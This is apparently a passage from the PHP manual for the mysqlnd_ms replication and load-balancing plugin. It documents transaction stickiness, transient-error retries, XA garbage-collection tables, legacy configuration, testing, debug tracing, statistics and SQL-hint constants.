Transaction stickiness policy. Supported policies: disabled (default), master.

The setting requires 5.4.0 or newer. If used with PHP older than 5.4.0, the plugin will emit a warning like (mysqlnd_ms) trx_stickiness strategy is not supported before PHP 5.3.99.

If no transaction stickiness policy is set or, if setting trx_stickiness=disabled, the plugin is not transaction aware. Thus, the plugin may load balance connections and switch connections in the middle of a transaction. The plugin is not transaction safe. SQL hints must be used avoid connection switches during a transaction.

As of PHP 5.4.0 the mysqlnd library allows the plugin to monitor the autocommit mode set by calls to the libraries set_autocommit() function. If setting set_stickiness=master and autocommit gets disabled by a PHP MySQL extension invoking the mysqlnd library internal function call set_autocommit(), the plugin is made aware of the begin of a transaction. Then, the plugin stops load balancing and directs all statements to the master server until autocommit is enabled. Thus, no SQL hints are required.

An example of a PHP MySQL API function calling the mysqlnd library internal function call set_autocommit() is mysqli_autocommit().

Although setting trx_stickiness=master, the plugin cannot be made aware of autocommit mode changes caused by SQL statements such as SET AUTOCOMMIT=0 or BEGIN.

As of PHP 5.5.0, the mysqlnd library features additional C API calls to control transactions. The level of control matches the one offered by SQL statements. The mysqli API has been modified to use these calls. Since version 1.5.0, PECL/mysqlnd_ms can monitor not only mysqli_autocommit(), but also mysqli_begin(), mysqli_commit() and mysqli_rollback() to detect transaction boundaries and stop load balancing for the duration of a transaction.

Example #30 Using master to execute transactions

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.78.136",
                "port": "3306"
            }
        },
        "trx_stickiness": "master"
    }
}

Since version 1.5.0 automatic and silent failover is disabled for the duration of a transaction. If the boundaries of a transaction have been properly detected, transaction stickiness is enabled and a server fails, the plugin will not attempt to fail over to the next server, if any, regardless of the failover policy configured. The user must handle the error manually. Depending on the configuration, the plugin may emit an error of type E_WARNING reading like (mysqlnd_ms) Automatic failover is not permitted in the middle of a transaction. This error may then be overwritten by follow up errors such as (mysqlnd_ms) No connection selected by the last filter. Those errors will be generated by the failing query function.

Example #31 No automatic failover, error handling pitfall

<?php
/* assumption: automatic failover configured */
$mysqli = new mysqli("myapp", "username", "password", "database");

/* sets plugin internal state in_trx = 1 */
$mysqli->autocommit(false);

/* assumption: server fails */
if (!($res = $mysqli->query("SELECT 'Assume this query fails' AS _msg FROM DUAL"))) {
 /* handle failure of transaction, plugin internal state is still in_trx = 1 */
 printf("[%d] %s", $mysqli->errno, $mysqli->error);
 /*
  If using autocommit() based transaction detection it is a
  MUST to call autocommit(true). Otherwise the plugin assumes
  the current transaction continues and connection
  changes remain forbidden.
 */
 $mysqli->autocommit(true);
 /* Likewise, you'll want to start a new transaction */
 $mysqli->autocommit(false);
}
/* latin1 used from now on */
$mysqli->set_charset("latin1");
?>

If a server fails in the middle of a transaction the plugin continues to refuse to switch connections until the current transaction has been finished. Recall that the plugin monitors API calls to detect transaction boundaries. Thus, you have to, for example, enable auto commit mode to end the current transaction before the plugin continues load balancing and switches the server. Likewise, you will want to start a new transaction immediately thereafter and disable auto commit mode again.

Not handling failed queries and not ending a failed transaction using API calls may cause all following commands emit errors such as Commands out of sync; you can't run this command now. Thus, it is important to handle all errors.

transient_error object

The setting has been introduced in 1.6.0.

A database cluster node may reply a transient error to a client. The client can then repeat the operation on the same node, fail over to a different node or abort the operation. Per definition is it safe for a client to retry the same operation on the same node before giving up.

PECL/mysqlnd_ms can perform the retry loop on behalf of the application. By configuring transient_error the plugin can be instructed to repeat operations failing with a certain error code for a certain maximum number of times with a pause between the retries. If the transient error disappears during loop execution, it is hidden from the application. Otherwise, the error is forwarded to the application by the end of the loop.

Example #32 Retry loop for transient errors

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.78.136",
                "port": "3306"
            }
       },
       "transient_error": {
          "mysql_error_codes": [
            1297
          ],
          "max_retries": 2,
          "usleep_retry": 100
       }
    }
}

Keyword Description Version
mysql_error_codes

List of transient error codes. You may add any MySQL error code to the list. It is possible to consider any error as transient not only 1297 (HY000 (ER_GET_TEMPORARY_ERRMSG), Message: Got temporary error %d '%s' from %s). Before adding other codes but 1297 to the list, make sure your cluster supports a new attempt without impacting the state of your application.

Since 1.6.0.
max_retries

How often to retry an operation which fails with a transient error before forwarding the failure to the user.

Default: 1

Since 1.6.0.
usleep_retry

Milliseconds to sleep between transient error retries. The value is passed to the C function usleep(), hence the name.

Default: 100

Since 1.6.0.
xa object

The setting has been introduced in 1.6.0.

Note: Experimental

The feature is currently under development. There may be issues and/or feature limitations. Do not use in production environments.

state_store
record_participant_credentials

Whether to store the username and password of a global transaction participant in the participants table. If disabled, the garbage collection will use the default username and password when connecting to the participants. Unless you are using a different username and password for each of your MySQL servers, you can use the default and avoid storing the sensible information in state store.

Please note, username and password are stored in clear text when using the MySQL state store, which is the only one available. It is in your responsibility to protect this sensible information.

Default: false

participant_localhost_ip

During XA garbage collection the plugin may find a participant server for which the host localhost has been recorded. If the garbage collection takes place on another host but the host that has written the participant record to the state store, the host name localhost now resolves to a different host. Therefore, when recording a participant servers host name in the state store, a value of localhost must be replaced with the actual IP address of localhost.

Setting participant_localhost_ip should be considered only if using localhost cannot be avoided. From a garbage collection point of view only, it is preferrable not to configure any socket connection but to provide an IP address and port for a node.

mysql

The MySQL state store is the only state store available.

global_trx_table

Name of the MySQL table used to store the state of an ongoing or aborted global transaction. Use the below SQL statement to create the table. Make sure to edit the table name to match your configuration.

Default: mysqlnd_ms_xa_trx

Example #33 SQL definition for the MySQL state store transaction table

CREATE TABLE mysqlnd_ms_xa_trx (
  store_trx_id int(11) NOT NULL AUTO_INCREMENT,
  gtrid int(11) NOT NULL,
  format_id int(10) unsigned NOT NULL DEFAULT '1',
  state enum('XA_NON_EXISTING','XA_ACTIVE','XA_IDLE','XA_PREPARED','XA_COMMIT','XA_ROLLBACK') NOT NULL DEFAULT 'XA_NON_EXISTING',
  intend enum('XA_NON_EXISTING','XA_ACTIVE','XA_IDLE','XA_PREPARED','XA_COMMIT','XA_ROLLBACK') DEFAULT 'XA_NON_EXISTING',
  finished enum('NO','SUCCESS','FAILURE') NOT NULL DEFAULT 'NO',
  modified timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  started datetime DEFAULT NULL,
  timeout datetime DEFAULT NULL,
  PRIMARY KEY (store_trx_id),
  KEY idx_xa_id (gtrid,format_id,finished),
  KEY idx_state (state)
) ENGINE=InnoDB

participant_table

Name of the MySQL table used to store participants of an ongoing or aborted global transaction. Use the below SQL statement to create the table. Make sure to edit the table name to match your configuration.

Storing credentials can be enabled and disabled using record_participant_credentials

Default: mysqlnd_ms_xa_participants

Example #34 SQL definition for the MySQL state store transaction table

CREATE TABLE mysqlnd_ms_xa_participants (
  fk_store_trx_id int(11) NOT NULL,
  bqual varbinary(64) NOT NULL DEFAULT '',
  participant_id int(10) unsigned NOT NULL AUTO_INCREMENT,
  server_uuid varchar(127) DEFAULT NULL,
  scheme varchar(1024) NOT NULL,
  host varchar(127) DEFAULT NULL,
  port smallint(5) unsigned DEFAULT NULL,
  socket varchar(127) DEFAULT NULL,
  user varchar(127) DEFAULT NULL,
  password varchar(127) DEFAULT NULL,
  state enum('XA_NON_EXISTING','XA_ACTIVE','XA_IDLE','XA_PREPARED','XA_COMMIT','XA_ROLLBACK')
   NOT NULL DEFAULT 'XA_NON_EXISTING',
  health enum('OK','GC_DONE','CLIENT ERROR','SERVER ERROR') NOT NULL DEFAULT 'OK',
  connection_id int(10) unsigned DEFAULT NULL,
  client_errno smallint(5) unsigned DEFAULT NULL,
  client_error varchar(1024) DEFAULT NULL,
  modified timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  PRIMARY KEY (participant_id),
  KEY idx_xa_bqual (bqual),
  KEY idx_store_trx (fk_store_trx_id),
  CONSTRAINT mysqlnd_ms_xa_participants_ibfk_1 FOREIGN KEY (fk_store_trx_id)
    REFERENCES mysqlnd_ms_xa_trx (store_trx_id) ON DELETE CASCADE ON UPDATE CASCADE
) ENGINE=InnoDB
garbage_collection_table

Name of the MySQL table used to track and synchronize garbage collection runs. Use the below SQL statement to create the table. Make sure to edit the table name to match your configuration.

Default: mysqlnd_ms_xa_gc

Example #35 SQL definition for the MySQL state store garbage collection table

CREATE TABLE mysqlnd_ms_xa_gc (
  gc_id int(10) unsigned NOT NULL AUTO_INCREMENT,
  gtrid int(11) NOT NULL,
  format_id int(10) unsigned NOT NULL DEFAULT '1',
  fk_store_trx_id int(11) DEFAULT NULL,
  modified timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  attempts smallint(5) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (gc_id),
  KEY idx_store_trx (gtrid,format_id,fk_store_trx_id)
) ENGINE=InnoDB
host

Host name of the MySQL server.

user

Name of the user used to connect to the MySQL server.

password

Password for the MySQL server user.

db

Database that holds the garbage collection tables. Please note, you have to create the garbage collection tables prior to using the plugin. The tables will not be created implicitly during runtime but garbage collection will fail if the tables to not exist.

port

Port of the MySQL server.

socket

Unix domain socket of the MySQL server. Please note, if you have multiple PHP servers each of them will try to carry out garbage collection and need to be able to connect to the state store. In this case, you may prefer configuring an IP address and a port for the MySQL state store server to ensure all PHP servers can reach it.

rollback_on_close

Whether to automatically rollback an open global transaction when a connection is closed. If enabled, it mimics the default behaviour of local transactions. Should a client disconnect, the server rolls back any open and unfinished transactions.

Default: true

garbage_collection
max_retries

Maximum number of garbage collection runs before giving up. Allowed values are from 0 to 100. A setting of 0 means no limit, unless the state store enforces a limit. Should the state store enforce a limit, it can be supposed to be significantly higher than 100. Available since 1.6.0.

Please note, it is important to end failed XA transactions within reasonable time to make participating servers free resources bound to the transaction. The built-in garbage collection is not expected to fail for a long period as long as crashed servers become available again quickly. Still, a situation may arise where a human is required to act because the built-in garbage collection stopped or failed. In this case, you may first want to check if the transaction still cannot be fixed by forcing mysqlnd_ms_xa_gc() to ignore the setting, prior to handling it manually.

Default: 5

probability

Garbage collection probability. Allowed values are from 0 to 1000. A setting of 0 disables automatic background garbage collection. Despite a setting of 0 it is still possible to trigger garbage collection by calling mysqlnd_ms_gc(). Available since 1.6.0.

The automatic garbage collection of stalled XA transaction is only available if a state store have been configured. The state store is responsible to keep track of XA transactions. Based on its recordings it can find blocked XA transactions where the client has crashed, connect to the participants and rollback the unfinished transactions.

The garbage collection is triggered as part of PHP's request shutdown procedure at the end of a web request. That is after your PHP script has finished working. Do decide whether to run the garbage collection a random value between 0 and 1000 is computed. If the probability value is higher or equal to the random value, the state stores garbage collection routines are invoked.

Default: 5

max_transactions_per_run

Maximum number of unfinished XA transactions considered by the garbage collection during one run. Allowed values are from 1 to 32768. Available since 1.6.0.

Cleaning up an unfinished XA transaction takes considerable amounts of time and resources. The garbage collection routine may have to connect to several participants of a failed global transaction to issue the SQL commands for rolling back the unfinished tranaction.

Default: 100

Plugin configuration file (<= 1.0.x)

Note:

The below description applies to PECL/mysqlnd_ms < 1.1.0-beta. It is not valid for later versions.

The plugin is using its own configuration file. The configuration file holds information on the MySQL replication master server, the MySQL replication slave servers, the server pick (load balancing) policy, the failover strategy and the use of lazy connections.

The PHP configuration directive mysqlnd_ms.ini_file is used to set the plugins configuration file.

The configuration file mimics standard the php.ini format. It consists of one or more sections. Every section defines its own unit of settings. There is no global section for setting defaults.

Applications reference sections by their name. Applications use section names as the host (server) parameter to the various connect methods of the mysqli, mysql and PDO_MYSQL extensions. Upon connect the mysqlnd plugin compares the hostname with all section names from the plugin configuration file. If hostname and section name match, the plugin will load the sections settings.

Example #36 Using section names example

[myapp]
master[] = localhost
slave[] = 192.168.2.27
slave[] = 192.168.2.28:3306
[localhost]
master[] = localhost:/tmp/mysql/mysql.sock
slave[] = 192.168.3.24:3305
slave[] = 192.168.3.65:3309
<?php
/* All of the following connections will be load balanced */
$mysqli = new mysqli("myapp", "username", "password", "database");
$pdo = new PDO('mysql:host=myapp;dbname=database', 'username', 'password');
$mysql = mysql_connect("myapp", "username", "password");

$mysqli = new mysqli("localhost", "username", "password", "database");
?>

Section names are strings. It is valid to use a section name such as 192.168.2.1, 127.0.0.1 or localhost. If, for example, an application connects to localhost and a plugin configuration section [localhost] exists, the semantics of the connect operation are changed. The application will no longer only use the MySQL server running on the host localhost but the plugin will start to load balance MySQL queries following the rules from the [localhost] configuration section. This way you can load balance queries from an application without changing the applications source code.

The master[], slave[] and pick[] configuration directives use a list-like syntax. Configuration directives supporting list-like syntax may appear multiple times in a configuration section. The plugin maintains the order in which entries appear when interpreting them. For example, the below example shows two slave[] configuration directives in the configuration section [myapp]. If doing round-robin load balancing for read-only queries, the plugin will send the first read-only query to the MySQL server mysql_slave_1 because it is the first in the list. The second read-only query will be send to the MySQL server mysql_slave_2 because it is the second in the list. Configuration directives supporting list-like syntax result are ordered from top to bottom in accordance to their appearance within a configuration section.

Example #37 List-like syntax

[myapp]
master[] = mysql_master_server
slave[] = mysql_slave_1
slave[] = mysql_slave_2

Here is a short explanation of the configuration directives that can be used.

master[] string

URI of a MySQL replication master server. The URI follows the syntax hostname[:port|unix_domain_socket].

The plugin supports using only one master server.

Setting a master server is mandatory. The plugin will report a warning upon connect if the user has failed to provide a master server for a configuration section. The warning may read (mysqlnd_ms) Cannot find master section in config. Furthermore the plugin may set an error code for the connection handle such as HY000/2000 (CR_UNKNOWN_ERROR). The corresponding error message depends on your language settings.

slave[] string

URI of one or more MySQL replication slave servers. The URI follows the syntax hostname[:port|unix_domain_socket].

The plugin supports using one or more slave servers.

Setting a slave server is mandatory. The plugin will report a warning upon connect if the user has failed to provide at least one slave server for a configuration section. The warning may read (mysqlnd_ms) Cannot find slaves section in config. Furthermore the plugin may set an error code for the connection handle such as HY000/2000 (CR_UNKNOWN_ERROR). The corresponding error message depends on your language settings.

pick[] string

Load balancing (server picking) policy. Supported policies: random, random_once (default), roundrobin, user.

If no load balancing policy is set, the plugin will default to random_once. The random_once policy picks a random slave server when running the first read-only statement. The slave server will be used for all read-only statements until the PHP script execution ends.

The random policy will pick a random server whenever a read-only statement is to be executed.

If using roundrobin the plugin iterates over the list of configured slave servers to pick a server for statement execution. If the plugin reaches the end of the list, it wraps around to the beginning of the list and picks the first configured slave server.

Setting more than one load balancing policy for a configuration section makes only sense in conjunction with user and mysqlnd_ms_set_user_pick_server(). If the user defined callback fails to pick a server, the plugin falls back to the second configured load balancing policy.

failover string

Failover policy. Supported policies: disabled (default), master.

If no failover policy is set, the plugin will not do any automatic failover (failover=disabled). Whenever the plugin fails to connect a server it will emit a warning and set the connections error code and message. Thereafter it is up to the application to handle the error and, for example, resent the last statement to trigger the selection of another server.

If using failover=master the plugin will implicitly failover to a slave, if available. Please check the concepts documentation to learn about potential pitfalls and risks of using failover=master.

lazy_connections bool

Controls the use of lazy connections. Lazy connections are connections which are not opened before the client sends the first connection.

It is strongly recommended to use lazy connections. Lazy connections help to keep the number of open connections low. If you disable lazy connections and, for example, configure one MySQL replication master server and two MySQL replication slaves, the plugin will open three connections upon the first call to a connect function although the application might use the master connection only.

Lazy connections bare a risk if you make heavy use of actions which change the state of a connection. The plugin does not dispatch all state changing actions to all connections from the connection pool. The few dispatched actions are applied to already opened connections only. Lazy connections opened in the future are not affected. If, for example, the connection character set is changed using a PHP MySQL API call, the plugin will change the character set of all currently opened connection. It will not remember the character set change to apply it on lazy connections opened in the future. As a result the internal connection pool would hold connections using different character sets. This is not desired. Remember that character sets are taken into account for escaping.

master_on_write bool

If set, the plugin will use the master server only after the first statement has been executed on the master. Applications can still send statements to the slaves using SQL hints to overrule the automatic decision.

The setting may help with replication lag. If an application runs an INSERT the plugin will, by default, use the master to execute all following statements, including SELECT statements. This helps to avoid problems with reads from slaves which have not replicated the INSERT yet.

trx_stickiness string

Transaction stickiness policy. Supported policies: disabled (default), master.

Experimental feature.

The setting requires 5.4.0 or newer. If used with PHP older than 5.4.0, the plugin will emit a warning like (mysqlnd_ms) trx_stickiness strategy is not supported before PHP 5.3.99.

If no transaction stickiness policy is set or, if setting trx_stickiness=disabled, the plugin is not transaction aware. Thus, the plugin may load balance connections and switch connections in the middle of a transaction. The plugin is not transaction safe. SQL hints must be used avoid connection switches during a transaction.

As of PHP 5.4.0 the mysqlnd library allows the plugin to monitor the autocommit mode set by calls to the libraries trx_autocommit() function. If setting trx_stickiness=master and autocommit gets disabled by a PHP MySQL extension invoking the mysqlnd library internal function call trx_autocommit(), the plugin is made aware of the begin of a transaction. Then, the plugin stops load balancing and directs all statements to the master server until autocommit is enabled. Thus, no SQL hints are required.

An example of a PHP MySQL API function calling the mysqlnd library internal function call trx_autocommit() is mysqli_autocommit().

Although setting trx_stickiness=master, the plugin cannot be made aware of autocommit mode changes caused by SQL statements such as SET AUTOCOMMIT=0.

Testing

Note:

The section applies to mysqlnd_ms 1.1.0 or newer, not the 1.0 series.

The PECL/mysqlnd_ms test suite is in the tests/ directory of the source distribution. The test suite consists of standard phpt tests, which are described on the PHP Quality Assurance Teams website.

Running the tests requires setting up one to four MySQL servers. Some tests don't connect to MySQL at all. Others require one server for testing. Some require two distinct servers. In some cases two servers are used to emulate a replication setup. In other cases a master and a slave of an existing MySQL replication setup are required for testing. The tests will try to detect how many servers and what kind of servers are given. If the required servers are not found, the test will be skipped automatically.

Before running the tests, edit tests/config.inc to configure the MySQL servers to be used for testing.

The most basic configuration is as follows.

 putenv("MYSQL_TEST_HOST=localhost");
 putenv("MYSQL_TEST_PORT=3306");
 putenv("MYSQL_TEST_USER=root");
 putenv("MYSQL_TEST_PASSWD=");
 putenv("MYSQL_TEST_DB=test");
 putenv("MYSQL_TEST_ENGINE=MyISAM");
 putenv("MYSQL_TEST_SOCKET=");

 putenv("MYSQL_TEST_SKIP_CONNECT_FAILURE=1");
 putenv("MYSQL_TEST_CONNECT_FLAGS=0");
 putenv("MYSQL_TEST_EXPERIMENTAL=0");

 /* replication cluster emulation */
 putenv("MYSQL_TEST_EMULATED_MASTER_HOST=". getenv("MYSQL_TEST_HOST"));
 putenv("MYSQL_TEST_EMULATED_SLAVE_HOST=". getenv("MYSQL_TEST_HOST"));

 /* real replication cluster */
 putenv("MYSQL_TEST_MASTER_HOST=". getenv("MYSQL_TEST_EMULATED_MASTER_HOST"));
 putenv("MYSQL_TEST_SLAVE_HOST=". getenv("MYSQL_TEST_EMULATED_SLAVE_HOST"));

MYSQL_TEST_HOST, MYSQL_TEST_PORT and MYSQL_TEST_SOCKET define the hostname, TCP/IP port and Unix domain socket of the default database server. MYSQL_TEST_USER and MYSQL_TEST_PASSWD contain the user and password needed to connect to the database/schema configured with MYSQL_TEST_DB. All configured servers must have the same database user configured to give access to the test database.

Using host, host:port or host:/path/to/socket syntax one can set an alternate host, host and port or host and socket for any of the servers.

putenv("MYSQL_TEST_SLAVE_HOST=192.168.78.136:3307"));
putenv("MYSQL_TEST_MASTER_HOST=myserver_hostname:/path/to/socket"));

Debugging and Tracing

The mysqlnd debug log can be used to debug and trace the actitivities of PECL/mysqlnd_ms. As a mysqlnd PECL/mysqlnd_ms adds trace information to the mysqlnd library debug file. Please, see the mysqlnd.debug PHP configuration directive documentation for a detailed description on how to configure the debug log.

Configuration setting example to activate the debug log:

mysqlnd.debug=d:t:x:O,/tmp/mysqlnd.trace

Note:

This feature is only available with a debug build of PHP. Works on Microsoft Windows if using a debug build of PHP and PHP was built using Microsoft Visual C version 9 and above.

The debug log shows mysqlnd library and PECL/mysqlnd_ms plugin function calls, similar to a trace log. Mysqlnd library calls are usually prefixed with mysqlnd_. PECL/mysqlnd internal calls begin with mysqlnd_ms.

Example excerpt from the debug log (connect):

[...]
>mysqlnd_connect
| info : host=myapp user=root db=test port=3306 flags=131072
| >mysqlnd_ms::connect
| | >mysqlnd_ms_config_json_section_exists
| | | info : section=[myapp] len=[5]
| | | >mysqlnd_ms_config_json_sub_section_exists
| | | | info : section=[myapp] len=[5]
| | | | info : ret=1
| | | <mysqlnd_ms_config_json_sub_section_exists
| | | info : ret=1
| | <mysqlnd_ms_config_json_section_exists
[...]

The debug log is not only useful for plugin developers but also to find the cause of user errors. For example, if your application does not do proper error handling and fails to record error messages, checking the debug and trace log may help finding the cause. Use of the debug log to debug application issues should be considered only if no other option is available. Writing the debug log to disk is a slow operation and may have negative impact on the application performance.

Example excerpt from the debug log (connection failure):

[...]
| | | | | | | info : adding error [Access denied for user 'root'@'localhost' (using password: YES)] to the list
| | | | | | | info : PACKET_FREE(0)
| | | | | | | info : PACKET_FREE(0x7f3ef6323f50)
| | | | | | | info : PACKET_FREE(0x7f3ef6324080)
| | | | | | <mysqlnd_auth_handshake
| | | | | | info : switch_to_auth_protocol=n/a
| | | | | | info : conn->error_info.error_no = 1045
| | | | | <mysqlnd_connect_run_authentication
| | | | | info : PACKET_FREE(0x7f3ef63236d8)
| | | | | >mysqlnd_conn::free_contents
| | | | | | >mysqlnd_net::free_contents
| | | | | | <mysqlnd_net::free_contents
| | | | | | info : Freeing memory of members
| | | | | | info : scheme=unix:///tmp/mysql.sock
| | | | | | >mysqlnd_error_list_pdtor
| | | | | | <mysqlnd_error_list_pdtor
| | | | | <mysqlnd_conn::free_contents
| | | | <mysqlnd_conn::connect
[...]

The trace log can also be used to verify correct behaviour of PECL/mysqlnd_ms itself, for example, to check which server has been selected for query execution and why.

Example excerpt from the debug log (plugin decision):

[...]
>mysqlnd_ms::query
| info : query=DROP TABLE IF EXISTS test
| >_mysqlnd_plugin_get_plugin_connection_data
| | info : plugin_id=5
| <_mysqlnd_plugin_get_plugin_connection_data
| >mysqlnd_ms_pick_server_ex
| | info : conn_data=0x7fb6a7d3e5a0 *conn_data=0x7fb6a7d410d0
| | >mysqlnd_ms_select_servers_all
| | <mysqlnd_ms_select_servers_all
| | >mysqlnd_ms_choose_connection_rr
| | | >mysqlnd_ms_query_is_select
[...]
| | | <mysqlnd_ms_query_is_select
[...]
| | | info : Init the master context
| | | info : list(0x7fb6a7d3f598) has 1
| | | info : Using master connection
| | | >mysqlnd_ms_advanced_connect
| | | | >mysqlnd_conn::connect
| | | | | info : host=localhost user=root db=test port=3306 flags=131072 persistent=0 state=0

In this case the statement DROP TABLE IF EXISTS test has been executed. Note that the statement string is shown in the log file. You may want to take measures to restrict access to the log for security considerations.

The statement has been load balanced using round robin policy, as you can easily guess from the functions name >mysqlnd_ms_choose_connection_rr. It has been sent to a master server running on host=localhost user=root db=test port=3306 flags=131072 persistent=0 state=0.

Monitoring

Plugin activity can be monitored using the mysqlnd trace log, mysqlnd statistics, mysqlnd_ms plugin statistics and external PHP debugging tools. Use of the trace log should be limited to debugging. It is recommended to use the plugins statistics for monitoring.

Writing a trace log is a slow operation. If using an external PHP debugging tool, please refer to the vendors manual about its performance impact and the type of information collected. In many cases, external debugging tools will provide call stacks. Often, a call stack or a trace log is more difficult to interpret than the statistics provided by the plugin.

Plugin statistics tell how often which kind of cluster node has been used (slave or master), why the node was used, if lazy connections have been used and if global transaction ID injection has been performed. The monitoring information provided enables user to verify plugin decisions and to plan their cluster resources based on usage pattern. The function mysqlnd_ms_get_stats() is used to access the statistics. Please, see the functions description for a list of available statistics.

Statistics are collected on a per PHP process basis. Their scope is a PHP process. Depending on the PHP deployment model a process may serve one or multiple web requests. If using CGI model, a PHP process serves one web request. If using FastCGI or pre-fork web server models, a PHP process usually serves multiple web requests. The same is the case with a threaded web server. Please, note that threads running in parallel can update the statistics in parallel. Thus, if using a threaded PHP deployment model, statistics can be changed by more than one script at a time. A script cannot rely on the fact that it sees only its own changes to statistics.

Example #38 Verify plugin activity in a non-threaded deployment model

mysqlnd_ms.enable=1
mysqlnd_ms.collect_statistics=1
<?php
/* Load balanced following "myapp" section rules from the plugins config file (not shown) */
$mysqli = new mysqli("myapp", "username", "password", "database");
if (mysqli_connect_errno())
  /* Of course, your error handling is nicer... */
  die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));

$stats_before = mysqlnd_ms_get_stats();
if ($res = $mysqli->query("SELECT 'Read request' FROM DUAL")) {
  var_dump($res->fetch_all());
}
$stats_after = mysqlnd_ms_get_stats();
if ($stats_after['use_slave'] <= $stats_before['use_slave']) {
  echo "According to the statistics the read request has not been run on a slave!";
}
?>

Statistics are aggregated for all plugin activities and all connections handled by the plugin. It is not possible to tell how much a certain connection handle has contributed to the overall statistics.

Utilizing PHPs register_shutdown_function() function or the auto_append_file PHP configuration directive it is easily possible to dump statistics into, for example, a log file when a script finishes. Instead of using a log file it is also possible to send the statistics to an external monitoring tool for recording and display.

Example #39 Recording statistics during shutdown

mysqlnd_ms.enable=1
mysqlnd_ms.collect_statistics=1
error_log=/tmp/php_errors.log
<?php
function check_stats() {
  $msg = str_repeat("-", 80) . "\n";
  $msg .= var_export(mysqlnd_ms_get_stats(), true) . "\n";
  $msg .= str_repeat("-", 80) . "\n";
  error_log($msg);
}
register_shutdown_function("check_stats");
?>

User Contributed Notes

jack dot peterson at gmail dot com 07-Feb-2012 07:11
In order to use doctrine 2.1+ with mysqlnd_ms lazy_connections must be disabled. Otherwise a warning will be thrown &amp; no query processed:
Warning: PDOStatement::execute(): (mysqlnd_ms) string escaping doesn't work without established connection.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

SQL hint related

Example #1 Example demonstrating the usage of mysqlnd_ms constants

The mysqlnd replication and load balancing plugin (mysqlnd_ms) performs read/write splitting. This directs write queries to a MySQL master server, and read-only queries to the MySQL slave servers. The plugin has a built-in read/write split logic. All queries which start with SELECT are considered read-only queries, which are then sent to a MySQL slave server that is listed in the plugin configuration file. All other queries are directed to the MySQL master server that is also specified in the plugin configuration file.

User supplied SQL hints can be used to overrule automatic read/write splitting, to gain full control on the process. SQL hints are standards compliant SQL comments. The plugin will scan the beginning of a query string for an SQL comment for certain commands, which then control query redirection. Other systems involved in the query processing are unaffected by the SQL hints because other systems will ignore the SQL comments.

The plugin supports three SQL hints to direct queries to either the MySQL slave servers, the MySQL master server, or the last used MySQL server. SQL hints must be placed at the beginning of a query to be recognized by the plugin.

For better portability, it is recommended to use the string constants MYSQLND_MS_MASTER_SWITCH, MYSQLND_MS_SLAVE_SWITCH and MYSQLND_MS_LAST_USED_SWITCH instead of their literal values.

<?php
/* Use constants for maximum portability */
$master_query = "/*" . MYSQLND_MS_MASTER_SWITCH . "*/SELECT id FROM test";

/* Valid but less portable: using literal instead of constant */
$slave_query = "/*ms=slave*/SHOW TABLES";

printf("master_query = '%s'\n", $master_query);
printf("slave_query = '%s'\n", $slave_query);
?>

The above examples will output:

master_query = /*ms=master*/SELECT id FROM test
slave_query = /*ms=slave*/SHOW TABLES

MYSQLND_MS_MASTER_SWITCH (string)
SQL hint used to send a query to the MySQL replication master server.
MYSQLND_MS_SLAVE_SWITCH (string)
SQL hint used to send a query to one of the MySQL replication slave servers.
MYSQLND_MS_LAST_USED_SWITCH (string)
SQL hint used to send a query to the last used MySQL server. The last used MySQL server can either be a master or a slave server in a MySQL replication setup.

mysqlnd_ms_query_is_select() related

MYSQLND_MS_QUERY_USE_MASTER (integer)
If mysqlnd_ms_is_select() returns MYSQLND_MS_QUERY_USE_MASTER for a given query, the built-in read/write split mechanism recommends sending the query to a MySQL replication master server.
MYSQLND_MS_QUERY_USE_SLAVE (integer)
If mysqlnd_ms_is_select() returns MYSQLND_MS_QUERY_USE_SLAVE for a given query, the built-in read/write split mechanism recommends sending the query to a MySQL replication slave server.
MYSQLND_MS_QUERY_USE_LAST_USED (integer)
If mysqlnd_ms_is_select() returns MYSQLND_MS_QUERY_USE_LAST_USED for a given query, the built-in read/write split mechanism recommends sending the query to the last used server.

mysqlnd_ms_set_qos(), quality of service filter and service level related

MYSQLND_MS_QOS_CONSISTENCY_EVENTUAL (integer)
Use to request the service level eventual consistency from the mysqlnd_ms_set_qos(). Eventual consistency is the default quality of service when reading from an asynchronous MySQL replication slave. Data returned in this service level may or may not be stale, depending on whether the selected slaves happen to have replicated the latest changes from the MySQL replication master or not.
MYSQLND_MS_QOS_CONSISTENCY_SESSION (integer)
Use to request the service level session consistency from the mysqlnd_ms_set_qos(). Session consistency is defined as read your writes. The client is guaranteed to see his latest changes.
MYSQLND_MS_QOS_CONSISTENCY_STRONG (integer)
Use to request the service level strong consistency from the mysqlnd_ms_set_qos(). Strong consistency is used to ensure all clients see each others changes.
MYSQLND_MS_QOS_OPTION_GTID (integer)
Used as a service level option with mysqlnd_ms_set_qos() to parameterize session consistency.
MYSQLND_MS_QOS_OPTION_AGE (integer)
Used as a service level option with mysqlnd_ms_set_qos() to parameterize eventual consistency.

Other

The plugins version number can be obtained using MYSQLND_MS_VERSION or MYSQLND_MS_VERSION_ID. MYSQLND_MS_VERSION is the string representation of the numerical version number MYSQLND_MS_VERSION_ID, which is an integer such as 10000. Developers can calculate the version number as follows.

Version (part) | Example
Major*10000 | 1*10000 = 10000
Minor*100 | 0*100 = 0
Patch | 0 = 0
MYSQLND_MS_VERSION_ID | 10000

MYSQLND_MS_VERSION (string)
Plugin version string, for example, "1.0.0-prototype".
MYSQLND_MS_VERSION_ID (integer)
Plugin version number, for example, 10000.

User Contributed Notes

There are no user contributed notes for this page.


Mysqlnd_ms Functions

Table of Contents

  • mysqlnd_ms_dump_servers — Returns a list of currently configured servers
  • mysqlnd_ms_fabric_select_global — Switch to global sharding server for a given table
  • mysqlnd_ms_fabric_select_shard — Switch to shard
  • mysqlnd_ms_get_last_gtid — Returns the latest global transaction ID
  • mysqlnd_ms_get_last_used_connection — Returns an array which describes the last used connection
  • mysqlnd_ms_get_stats — Returns query distribution and connection statistics
  • mysqlnd_ms_match_wild — Finds whether a table name matches a wildcard pattern or not
  • mysqlnd_ms_query_is_select — Find whether to send the query to the master, the slave or the last used MySQL server
